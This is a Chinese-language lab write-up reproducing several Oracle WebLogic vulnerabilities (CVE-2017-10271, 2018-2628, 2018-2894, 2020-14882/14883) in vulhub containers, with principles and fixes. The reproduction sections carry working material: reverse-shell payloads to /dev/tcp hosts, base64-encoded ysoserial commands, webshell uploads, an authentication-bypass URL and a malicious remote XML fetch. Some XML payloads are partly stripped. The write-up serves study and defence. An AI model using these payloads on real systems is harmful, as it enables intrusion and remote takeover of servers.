Weblogic系列漏洞复现

#免责声明：
本文属于个人笔记，仅用于学习，禁止使用于任何违法行为，任何违法行为与本人无关。

Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) 漏洞概述

• 漏洞编号：CVE-2017-10271

• 漏洞影响：wls-wsat XMLDecoder 反 序 列 化 漏 洞

• 影响程度：重大

• 影响版本：10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

• 漏洞url：

  /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11

漏洞原理

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

漏洞复现 环境搭建

使用vulhub/weblogic/CVE-2017-10271

vulhub靶场搭建教程

docker-compose build
docker-compose up -d

启动镜像后，访问http:/xxxx:7001/即可看到一个404页面，说明weblogic已成功启动。

复现

利用上面介绍的漏洞url，尝试访问

http://192.168.0.20:7001/wls-wsat/CoordinatorPortType

如果出现以下页面说明存在XMLDecoder反序列化漏洞；

利用现有poc反弹shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

 





/bin/bash


-c


bash -i ">>& /dev/tcp/10.0.0.1/21 0">>&1

使用bp抓包之后修改poc报文，nc设置监听，发送成功之后反弹shell

接下来可以尝试写一个文件上去，看能否 解析：

文件路径为/bea_wls_internal/test.jsp，访问：

可以看到解析成功，接着尝试上传一个webshell上去（这里使用的是冰蝎自带的jsp马）：

使用冰蝎尝试连接：

利用现有工具进行验证：

https://github.com/awsassets/weblogic_exploit/

https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828

漏洞修复

1.安装补丁
2.或删除wls-wsat组件

Weblogic WLS Core Components 反序列化命令执行漏洞（CVE-2018-2628） 漏洞概述

• 漏洞编号：CVE-2018-2628

• 漏洞影响：Weblogic WLS Core Components 反序列化命令执行漏洞

• 影响程度：重大

• 影响版本：10.3.6.0 、12.1.3.0 、12.2.1.2 、12.2.1.3

漏洞原理

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启.

攻击者利用其他rmi绕过weblogic黑名单限制，然后在将加载的内容利用readObject解析，从而造成反序列化远程代码执行该漏洞，该漏洞主要由于T3服务触发，所有开放weblogic控制台7001端口，默认会开启T3服务，攻击者发送构造好的T3协议数据，就可以获取目标服务器的权限。

漏洞复现 环境搭建

使用vulhub/weblogic/CVE-2018-2628

vulhub靶场搭建教程

docker-compose build
docker-compose up -d

启动镜像后，访问http:/xxxx:7001/即可看到一个404页面，说明weblogic已成功启动。

漏洞环境使用 vulhub 靶场环境：192.168.0.20，

攻击机和JRMP服务机：192.168.0.11，

shell反弹机器：192.168.0.10

复现

这里需要部署一个JRMP服务（ weblogic 的 T3 服务会对 Object 结构进行解包，然后一步一步解包的过程中请求了 JRMP 服务封装的代码，在本地执行，导致远程代码执行。），利用它去生成payload。

ysoseria：

https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [JRMPPort] CommonsCollections1 [command]
#'[JRMPPort] JRMP 服务的监听端口，[command] 表示要执行的命令'
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'
# shell反弹的管道符不能在java识别，需要 对'bash -i >& /dev/tcp/IP/Port 0>&1'先进行base64编码再使用

先进行POC漏洞验证：

poc：

https://github.com/zhzyker/exphub/tree/master/weblogic

先开启JRMP服务的监听（最好在linux上开启）：

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'whoami'

利用JRMP服务生成一个payload：

# 生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 192.168.0.11:1099 | xxd -p | tr -d $'n' && echo

修改poc中的payload（不修改也可以直接运行验证，这里只为了方便演示JRMP服务）

运行poc脚本：

python2 cve-2018-2628_poc.py 192.168.0.20 7001

可以看到的确是存在漏洞的：

接下来尝试exp利用：

开启JRMP服务：

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'

利用exploit进行weblogic攻击：

exploit.py

https://www.exploit-db.com/exploits/44553

python exploit.py 192.168.0.20 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.10 1099 JRMPClient2

可以看到成功反弹到shell：

接着尝试去写入webshell，实现远程RCE：

https://github.com/zhzyker/exphub/blob/master/weblogic/cve-2018-2628_webshell.py

python cve-2018-2628_webshell.py 192.168.0.20 7001 shell1.jsp

http://192.168.0.20:7001/bea_wls_internal/shell1.jsp?tom=d2hvYW1pCg==

d2hvYW1pCg== base64解码：whoami

aWQ= —>id

tom后面接执行命令

利用现有工具进行验证：

https://github.com/awsassets/weblogic_exploit/

漏洞修复

1.过滤t3协议。

在域结构中点击 安全->筛选器 连接筛选器填: weblogic.security.net.ConnectionFilterImpl 保存后重启Weblogic.

2.安装补丁。

Weblogic 任意文件上传漏洞（CVE-2018-2894） 漏洞概述

• 漏洞编号：CVE-2018-2894

• 漏洞影响：任意文件上传

• 影响程度：重大

• 影响版本：10.3.6、12.1.3、12.2.4、12.2.1.3

• 漏洞url：http://your-ip:7001/ws_utc/config.do

漏洞原理

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞，攻击者可通过访问此配置页面，用有效的WebLogic Web路径替换存储JKS Keystores的文件目录，然后上传恶意的JSP脚本木马文件。两个页面分别为/ws_utc/begin.do，/ws_utc/config.do；Web Service Test Page 在 ‘生产模式’ 下默认不开启，所以该漏洞有一定限制。

漏洞复现 环境搭建

使用vulhub/weblogic/CVE-2018-2894

vulhub靶场搭建教程

docker-compose build
docker-compose up -d

启动环境后，访问http://your-ip:7001/console，即可看到后台登录页面：

然后执行命令查看管理员密码，管理员用户名weblogic：

docker-compose logs | grep password

登录后台页面，点击base_domain的配置，在“高级”中开启“启用 Web 服务测试页”选项：

复现

访问漏洞页面http://your-ip:7001/ws_utc/config.do（需要手动设置一下环境设置Work Home Dir为，/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css）

然后就可上传webshell，点击安全上传jsp后缀webshell（这里上传的是冰蝎的jsp马）

上传后即可看到：

尝试访问文件地址（路径就为上面设置的地址）http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]

时间戳可以在网页源码中找到，也可以bp抓包查看上传后的返回数据报：

访问，可以看到响应状态是200，解析成功：

接着使用冰蝎连接：

成功getshell：

利用现有工具进行验证：

https://github.com/awsassets/weblogic_exploit/

注意工具利用漏洞成功后显示的地址并不是文件真正上传的地址，地址仍为之前设置的路径：

漏洞修复

启动生产模式， 编辑domain路径下的setDomainEnv.cmd文件，将set PRODUCTION_MODE= 更改为 set PRODUCTION_MODE=true 目前(2019/06/07) 生产模式下 已取消这两处上传文件的地方。

Weblogic Pre-Auth 远程命令执行（CVE-2020-14882、CVE-2020-14883） 漏洞概述

• 漏洞编号：cve-2020-14882、cve-2020-14883

• 漏洞影响：代码执行、权限绕过

• 影响程度：重大

• 影响版本：10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

漏洞原理

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证，CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链，未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。

漏洞复现 环境搭建

使用vulhub/weblogic/cve-2020-14882

vulhub靶场搭建教程

docker-compose build
docker-compose up -d

启动完成后，访问http://your-ip:7001/console查看管理员控制台登录页面：

复现

使用poc绕过console组件的身份验证：

/console/css/%252e%252e%252fconsole.portal

可以看到不需要登录就能够直接访问管理后台。但是这是一个低权限的用户，无法安装应用、执行任意代码、上传webshell。

CVE-2020-14883可通过构造特殊的HTTP请求，在未经身份验证的情况下接管WebLogic Server Console，并在WebLogic Server Console执行任意代码。这个漏洞存在两种利用方法。

第一种方法：com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法：com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

第一种方法只适用于Weblogic 12.2.1及以上版本中使用，因为10.3.6没有类com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法是一种更为通杀的方法，它首先在 CVE-2019-2725 中引入，可用于任何Weblogic版本。但该方法利用的缺点在于，它需要Weblogic服务器能够访问恶意XML。

http://192.168.0.20:7001/console/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage

可以看到执行成功，创建了success1文件。

接着尝试访问服务器的xml文件，远程rce：

利用python开启一个简单的http服务，在桌面打开终端输入下面命令（这里我的ip为192.168.0.11）：

python3 -m http.server 80

然后再桌面新建一个rce.xml，写入：

bash
-c




 
先看能否成功执行touch /tmp/success2，通过访问以下链接，引入恶意xml,执行命令：
 
http://192.168.0.20:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.0.11/rce.xml%22)
 

 
 
可以看到成功访问了服务器上的xml文件，并执行了命令，接下来试执行反弹shell的命令，修改xml文件：
 





bash
-c
& /dev/tcp/192.168.0.10/4444 0>&1]]>



 
先开启nc监听对应的端口，然后再次访问以下链接，引入恶意xml,执行命令：
 
http://192.168.0.20:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.0.11/rce.xml%22)
 

 
 
成功rce，反弹到shell。
 
利用现有工具进行验证：
 
 
 
https://github.com/GGyao/CVE-2020-14882_ALL
 
 
python3 CVE-2020-14882_ALL.py -u http://192.168.0.20:7001 -c "whoami"
 
 
同样也可以利用它反弹shell，这里不做演示了。
 
漏洞修复 
安装官方补丁，升级新版本。
 
Weblogic ssrf（CVE-2014-4210） 
请参考把本人写的一篇ssrf漏洞复现文章链接如下：
 
http://t.csdn.cn/vPWZG
 
总结 
本文主要结合vulhub靶场上现有的漏洞来学习weblogic系列的部分漏洞，还有很多漏洞没有复现，主要还是熟悉一下典型漏洞的原理。
 
 
 
参考连接：
 
 
https://blog.csdn.net/qq_45925514/article/details/125115981
 
 
https://vulhub.org/